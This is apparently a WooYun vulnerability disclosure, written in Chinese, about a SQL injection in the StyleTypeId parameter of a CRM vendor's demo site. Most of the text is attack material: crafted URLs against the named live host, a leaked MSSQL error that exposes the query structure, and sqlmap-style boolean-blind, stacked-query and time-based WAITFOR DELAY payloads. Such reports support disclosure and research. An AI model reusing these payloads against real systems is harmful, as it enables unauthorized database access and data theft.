WooYun.org

比较鸡肋，需要用户登陆。
普通用户登陆，查看消息，选择一条消息，然后点击导出到记事本。
官网各个demo测试。
demo1:demodemo
http://show.wecrm.com/xt/SystemManage/GetProductDataList/?pageIndex=1&pageSize=30&Keywords=&StyleTypeId='%23&Classification2=&Classification1=&MinPrice=0&MaxPrice=100000000&Classification3=&_=1426764545011
{"error":{"errorCode":-1,"message":"'#' 附近有语法错误。\r\n字符串 ' order by a.CreateDate desc\r\n\t\tset @intRecordCount=@@rowcount\r\n\r\n\t\tSELECT RecordCount=@intRecordCount,a.*,c.[Name] AS [Classification1Name],d.[Name] AS [Classification2Name],e.[Name] AS [Classification3Name] ,isnull(f.Name,') as DepartmentName,isnull(g.Name,') as StyleName \r\n\t\t\tFROM [CRM_Commodity] AS a\r\n\t\t\tLEFT JOIN [CRM_CommodityClassification1] AS c ON c.[ID] = a.[Classification1]\r\n\t\t\tLEFT JOIN [CRM_CommodityClassification2] AS d ON d.[ID] = a.[Classification2]\r\n\t\t\tLEFT JOIN [CRM_CommodityClassification3] AS e ON e.[ID] = a.[Classification3]\r\n\t\t\tleft JOIN [CRM_Department] AS f ON f.[TypeID] = a.[Department]\r\n\t\t\tleft JOIN [CRM_CommodityStyle] AS g ON g.[TypeID] = a.[Style] \r\n\t\t\tinner JOIN\r\n\t\t\t(SELECT TOP 30 pk\r\n\t\t\tFROM @tblPK\r\n\t\t\tWHERE id >=\r\n\t\t\t\t\t (\r\n\t\t\t\t\t SELECT ISNULL(MAX(id),0) \r\n\t\t\t\t\t FROM \r\n\t\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT TOP 1 id FROM @tblPK order by id\r\n\t\t\t\t\t\t\t) A\r\n\t\t\t\t\t )\r\n\t\t\tORDER BY id) tblPK ON a.id = tblPK.PK \r\n\t\t\t order by a.CreateDate desc\r\n\t\t\t\t\r\n\t' 后的引号不完整。","errorType":1},"value":null}
http://show.wecrm.com/xt/SystemManage/GetProductDataList/?pageIndex=1&pageSize=30&Keywords=&StyleTypeId=%'%20AND%201579=1579%20and%20'%'='&Classification2=&Classification1=&MinPrice=0&MaxPrice=100000000&Classification3=&_=1426764545011
正常返回了
Place: GET
Parameter: StyleTypeId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pageIndex=1&pageSize=30&Keywords=&StyleTypeId=%' AND 1579=1579 AND '%'='&Classification2=&Classification1=&MinPrice=0&MaxPrice=100000000&Classification3=&_=1426764545011
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: pageIndex=1&pageSize=30&Keywords=&StyleTypeId=%'; WAITFOR DELAY '0:0:5'--&Classification2=&Classification1=&MinPrice=0&MaxPrice=100000000&Classification3=&_=1426764545011
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: pageIndex=1&pageSize=30&Keywords=&StyleTypeId=%' WAITFOR DELAY '0:0:5'--&Classification2=&Classification1=&MinPrice=0&MaxPrice=100000000&Classification3=&_=1426764545011
---